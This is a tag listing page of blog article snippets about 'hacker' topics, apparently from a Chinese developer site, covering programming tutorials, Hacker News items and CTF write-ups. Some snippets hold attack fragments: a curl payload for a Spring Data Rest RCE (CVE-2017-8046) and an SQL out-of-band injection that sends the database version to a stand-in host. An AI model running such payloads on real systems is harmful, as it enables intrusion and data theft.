Hacker

【vulhub】Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

一、启动靶机docker-composeup-d二、生成payloadcurlhttp://xx.xx.xx.xx/Hacker将执行的命令转换十进制99,117,114,108,32,104,116,116,112,58,47,47,120,120,46,120,120,46,120,120,46,120,120,47,72,97,99,107,101,114payload
Crazy_Yu8·2023-04-11 21:57

关于ChatGPT，已到了不得不说的危难时刻

文/高扬（微信公众号：量子论）今天在HackerNews上看到了一篇热文，对应着的是热烈争论。马斯克等科技人士签署公开信，呼吁人工智能实验室立即暂停训练比GPT-4更强大的人工智能系统至少6个月。
成事指南·2023-04-11 16:32

小白也可以开发微信小程序（入门篇）

微信搜索VDSHackerFan即可访问小程序导读话不多说，小程序直接附上（↑）。点击图片即可访问，欢迎使用及收藏。
半缘窨茉·2023-04-10 21:02

基于Hacker News的内容热度推荐算法

前言近期公司产品需要做一个内容推荐的功能，但限于人员和能力有限，经过调研，确定了一个简单相对我们可以实现的方案。一篇文章的产生，随着用户浏览、点赞、分享、收藏、评论，热度逐渐攀升，进入榜单到推荐页面，但随着时间的推移，这篇文章也不能永久的霸占榜单，让后面新产生的文章没有机会到推荐页，因此也就有了时间衰减的因素，从而可以让榜单能够动态的变化，除了上面基本的原理以外，还需要人为干预因素，通过加权或者降
宇行信·2023-04-10 17:47

To Unlock the iPhone X in Bed, Hold it Farther Away from Your Face - Lifehacker

ThenewiPhoneX.FaceID,thenewface-scanningsecuritycameraintroducedintheiPhoneX,worksprettyflawlesslymostofthetime.Butthere’soneplacewhereApple’slatesttechmaybegivingyoutrouble:inbed.作为iPhoneX引入的全新功能，面容I
Bklsjysx·2023-04-10 11:43

[HackerRank] [haskell]刷题记录

Haskell功力太弱了，刷一下HackerRank上面的Haskell题目(同时在读Haskell函数式编程入门第二版)，都记录在这个博客里面。
SakamataZ·2023-04-10 10:34

XSS的三种攻击及httponly---20200812

真实案例解释XSS的三种攻击XSS:hacker往HTML中注入恶意脚本，浏览器是无法区分脚本是被恶意注入的还是正常的页面脚本，所以恶意注入JavaScript脚本也拥有所有的脚本权限。
颖小李·2023-04-09 23:13

2023年黑客产业研究报告

第一章行业概况黑客一词来源于英文中的“hacker”，原本是指技术高超、熟练掌握计算机技术的人。但随着互联网的普及和网络犯罪的增加，黑客一词逐渐被人们所熟知，并带有了一定的负面含义。
资产信息网·2023-04-09 20:46

Cookie-Form型CSRF防御机制的不足与反思

今天看了https://hackerone.com/reports/26647有感。这个漏洞很漂亮，另外让我联想到很多之前自己挖过的漏洞和写过的程序，有感而发。
嘿丶小伙计·2023-04-09 10:39

2022牛客杭电多校dp+字符串题目汇总

文章目录牛客：第一场I.Chiitoitsu(期望dp)第二场K.LinkwithBracketSequenceI(括号序列dp)第二场L.LinkwithLevelEditor(线性dp)第三场H.Hacker
jangyi.·2023-04-09 03:34

Shell替换数组元素之间的间隔符号

Shell中的数组是这样表示的：arr=(1,2,3,4,5)它们数组元素的间隔符号为逗号，如果我相把逗号替换为加号：echo${arr//,/+}输出：1+2+3+4+5这个表达式是我在hackerrank
weixin_38168198·2023-04-09 01:36

HackerOne第二名白帽专访：业余挖洞，两年赚 40 万美金

本文讲的是HackerOne第二名白帽专访：业余挖洞，两年赚40万美金，你必须要体谅SeanMelia（meals），他在十万白帽黑客聚集的HackerOne社区只是位列第二名。
weixin_34054866·2023-04-09 01:24

HackerOne第二白帽：业余挖洞，两年赚 40 万美金 ----转

转；http://www.sohu.com/a/130054835_583123你必须要体谅SeanMelia（meals），他在十万白帽黑客聚集的HackerOne社区只是位列第二名。
dengdang7631·2023-04-09 01:45

调查了 12,000 名女性开发者发现，女性比男性更懂 Java！

近日，HackerRa
weixin_33724659·2023-04-08 23:00

程序媛报告：调查了 12,000 名女性开发者发现，女性比男性更懂 Java！

近日，HackerRa
CSDN 程序人生·2023-04-08 23:25

了不起的女性开发者：90后误选专业入对行，酷女孩霸榜开源NO.1

HackerRan2019年度女性开发者调查报告中指出，Z世代（1995-2009年间出生的人）的女性开发者们不仅学会编程的年龄逐渐提前，甚至在某些编程语言上比男性的表现更出色。
飞桨PaddlePaddle·2023-04-08 23:24

2020-01-12-ARTS-一月第二周

layout:posttitle:ARTS-2020一月第二周subtitle:一月第二周ARTSdate:2020-01-12author:Maydayheader-img:img/post-bg-hacker.jpgcatalog
longxingxiu·2023-04-08 11:45

如何使用Reaver破解Wi-Fi网络的WPA密码

via:http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver译者：Mr小眼儿
Mr小眼儿·2023-04-08 00:53

黑客入门（超级详细版）

正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善，而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情，因为邪派黑客所从事的事情违背了《黑客守则》，所以他们真正的名字叫“骇客”（Cracker）而非“黑客”（Hacker
耿直学编程·2023-04-07 10:31

Pycharm使用指南【完整版】

✅作者简介：CSDN内容合伙人、阿里云专家博主、51CTO专家博主、新星计划第三季python赛道Top1个人主页：hacker707的csdn博客系列专栏：零基础入门篇个人格言：不断的翻越一座又一座的高山
hacker707·2023-04-07 01:11

安卓7.0以上无法抓包解决方案

系统以上就无法抓包了，使用VirtualXposed+JustTrustMe进行抓包是最简单的一种方式1、下载VirtualXposedapk,地址：https://github.com/android-hacker
HC2·2023-04-06 17:55

初识Python(注释、代码缩进、编码规范、标识符、变量)

✅作者简介：CSDN内容合伙人、阿里云专家博主、51CTO专家博主、新星计划第三季python赛道Top1个人主页：hacker707的csdn博客系列专栏：零基础入门篇个人格言：不断的翻越一座又一座的高山
hacker707·2023-04-06 06:26

Python搭建编程环境-安装Python3解释器

✅作者简介：CSDN内容合伙人、阿里云专家博主、51CTO专家博主、新星计划第三季python赛道Top1个人主页：hacker707的csdn博客欢迎大家订阅系列专栏：Python零基础入门篇个人格言
hacker707·2023-04-05 13:52

Python搭建编程环境-安装Pycharm开发工具

✅作者简介：CSDN内容合伙人、阿里云专家博主、51CTO专家博主、新星计划第三季python赛道Top1个人主页：hacker707的csdn博客欢迎大家订阅系列专栏：零基础入门篇个人格言：不断的翻越一座又一座的高山
hacker707·2023-04-05 13:52

cache的基本原理 和 多核cache的一致性

原文转载自知乎：cache的基本原理多核Cache一致性10张图打开CPU缓存一致性的大门另外一本很不错的书籍：MemoryBarriers:aHardwareViewforSoftwareHackers
wayyyy·2023-04-05 12:28

第六届中科大信息安全大赛-hackergame2019小结

之前看群里郁师傅推荐了这个比赛，本着试试水的心理就报了这个比赛。不过因为学校程序设计周的原因，自己大部分时间都花在跟队友爆肝Qt版贪吃蛇就没怎么特别花时间去做。（这里稍稍抱怨一下，学校程序周设计不收python程序。于是本来用python的pygame库半天就能解决的问题我们硬生生拿MFC跟Qt做。。。当然，头天自学完Qt第二天就完成完整版贪吃蛇，心里还是挺骄傲的；最后一天熬夜给贪吃蛇加上ai功能
byc_404·2023-04-05 05:58

攻防世界 WEB mfw

这题考的是两个点：Git泄露和assert函数执行代码先说Git泄露，通过About发现该网站使用了Git，查看/.git目录发现确实存在泄露情况那么下载GitHacker工具查看源码pip3installGitHackergithacker
显哥无敌·2023-04-05 04:41

攻防世界mfw--详细笔记

打开之后发现有关于gif，php和bootstrap的信息，于是想到是不是又git源码地址栏后面加.githttp://61.147.171.105:61123/.git/发现存在git目录，使用kali的githacker
Catchfires·2023-04-05 04:02

围棋棋盘怎么编程python_python围棋_python围棋程序_python实现围棋ai - 云+社区 - 腾讯云...

进入研究生阶段后，跟随实验室的研究方向，未来的职业定位也随之改变，hacker梦渐行渐远.....但是python却从未离开过我，因为在研究深度学习中，python仍旧还是我的左膀右臂。
weixin_39610085·2023-04-04 18:36

七夕快乐，程序员浪漫周年纪念日

代码地址：GitHub-hackerzhou/Love:MylovestorywithMaryNee在线预览地址：OurLoveStory预览图：参考操作流程如下：1、拉取代码gitclonehttps
安逸的程序猿·2023-04-03 23:47

Python's Hardest Problem -- GIL

Oneofthefirstlong-formarticlesIeverpostedtothisblogwasapieceaboutPython’sGlobalInterpreterLock(GIL)entitled“Python’sHardestProblem”.Twoweeksago,itwaspostedtoHackerNewsandsatonthefrontpageforawhile
欧阳嘉·2023-04-03 22:32

kernel hacker修炼之道之内存管理-SLAB(创建SLAB高速缓存kmem_cache_create())

创建SLAB高速缓存kmem_cache_create()作者：李万鹏于北京borqs这篇主要讲解专用高速缓存的创建函数kmem_cache_create()的流程。kmem_cache_create()主要是建立的cache描述符，填充了其成员，设置cpulocalslab，设置外置slab描述符还是内置slab描述符，并没有分配slab块和对象。最终将cache描述符添加到cache_chai
iteye_6429·2023-04-03 21:42

TryHackMe-Ollie | HackerDog（boot2root）

Ollie臭名昭著的黑客狗OllieUnixMontgomery是一位伟大的红队员。至于发展…没那么多！有传言说，Ollie弄乱了服务器上的一些文件，以确保向后兼容性。在时间用完之前控制！端口扫描循例nmapWeb枚举进80，直接一个登录页面，循例看看源代码，顺便gobuster扫了一波没有什么获得太多信息回到登录页面，查看底部phpIPAM1.4.5,存在一个rce,这是通过sql注入写入文件导
Sugobet·2023-04-03 17:37

网络安全专家最爱用的9大工具

网络安全专家，即“ethicalhackers”，是一群专门模拟网络安全专家攻击，帮助客户了解自己网络的弱点，并为客户提出改进建议的网络安全专家。网络安全专家在工作中，通常会使用哪些工具和软件？
IT自学妹·2023-04-03 11:56

Maxwell与Canal

对比抉择Canal（是阿里的一个中间件组件）GitHub-alibaba/canal:阿里巴巴MySQLbinlog增量订阅&消费组件（服务端，需要一个客户端来配合）https://github.com/Hackeruncle
AllenGd·2023-04-02 23:04

SQL带外通道注入

其他数据库未测试DNS注入selectload_file(concat('\\',version(),'.hacker.site\a.txt'));se
CMDY10086·2023-04-02 19:01

网络安全专家 最爱用的 9 大工具

网络安全专家，即“ethicalhackers”，是一群专门模拟网络安全专家攻击，帮助客户了解自己网络的弱点，并为客户提出改进建议的网络安全专家。网络安全专家在工作中，通常会使用哪些工具和软件？
开源Linux·2023-04-02 17:56

网络安全专家最爱用的9大工具

网络安全专家，即“ethicalhackers”，是一群专门模拟网络安全专家攻击，帮助客户了解自己网络的弱点，并为客户提出改进建议的网络安全专家。网络安全专家在工作中，通常会使用哪些工具和软件？
GLAB-Mary·2023-04-02 17:23

MySQL安装部署

原作者连接：https://github.com/Hackeruncle/MySQL/blob/master/MySQL%205.7.11%20Install.txt致敬J哥1.解压及创建目录[root
guaren2009·2023-04-02 15:16

【汇总】人脸关键点检测

zhuanlan.zhihu.com/p/429681172、https://blog.csdn.net/lgh0824/article/details/85070490数据集：1、https://blog.csdn.net/hacker_long
咖啡味儿的咖啡·2023-04-02 14:51

2022第六届蓝帽杯初赛writeup

2022第六届蓝帽杯初赛writeupPWNEscapeShellcodeMISCdomainhackerdomainhacker2电子取证手机取证_1手机取证_2计算机取证_1计算机取证_2计算机取证
小蓝同学`·2023-04-01 15:23

还在为追不到女神发愁吗？破解舔狗日记一键生成，让你轻松1秒5舔~

我们用ResourceHacker试着获取一些破解思路ResourceHacker无法直接反编译获得源码，但依然为我们提供了破解的线索,通过解析出的经典软盘图标,可以确定舔狗日记.exe是Py
zhaoolee·2023-04-01 06:26

剑指offer题解

剑指offer刷题记录前言我的博客:bdsnake.top推荐链接：某卷王的github题解：https://github.com/hackeryang/SwordToOffer牛客网剑指offer：https
-BDsnake-·2023-03-31 23:07

(转) Deep Reinforcement Learning: Pong from Pixels

AndrejKarpathyblogAboutHacker'sguidetoNeuralNetworksDeepReinforcementLearning:PongfromPixelsMay31,2016ThisisalongoverdueblogpostonReinforcementLearning
a1424262219·2023-03-31 21:11

#health hacker skills# 和大脑斗智斗勇

本篇是#healthhackerskills#系列的第1篇。系列名称直译为：健康黑客技巧。这是我一直很想整理和分享的内容。
Phoebe·2023-03-30 18:02

有人说，Linux 发行版激增不利于 Linux 生态系统？

‍以下内容来自公众号逆锋起笔，关注每日干货及时送达整理|郑丽媛出品|CSDN(ID:CSDNnews)昨天，有人在HackerNews上提出了一个问题：Linux发行版的激增是否会损害Linux生态系统
code小生_·2023-03-30 16:37

后悔没早看这个！早知道就不会秃头了。。。

今天给大家带来的项目是：hacker-laws这个项目搜集了一些对开发人员有用的定律、理论、原则和模式。坐拥16.8k的star。大家一定不会觉得很奇怪？开发人员不是应该学习代码、语法么？
国民程序员·2023-03-30 16:36

《网络攻防》第二周作业

RobertTappanMorris)，莫里斯这位美国国家计算机安全中心（隶属于美国国家安全局NSA）首席科学家的儿子，康奈尔大学的高材生，在1988年的第一次工作过程中戏剧性地散播出了网络蠕虫病毒后，“Hacker
weixin_30852367·2023-03-30 11:16

内存取证常见例题思路方法-volatility (没有最全 只有更全)

目录1.从内存文件中获取到用户hacker的密码并且破解密码，将破解后的密码作为Flag值提交;2.获取当前系统的主机名，将主机名作为Flag值提交;3.获取当前系统浏览器搜索过的关键词，作为Flag提交
路baby·2023-03-29 11:36

python——使用API

响应1.4处理响应字典1.5概述最受欢迎的仓库1.6监视API的速率限制2.使用Pygal可视化仓库2.1改进Pygal图表2.2添加自定义工具提示2.3根据数据绘图2.4在图表中添加可单击的链接3.HackerNewsAPI
番茄元·2023-03-29 10:01
上一页 7 8 9 10 11 12 13 14 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他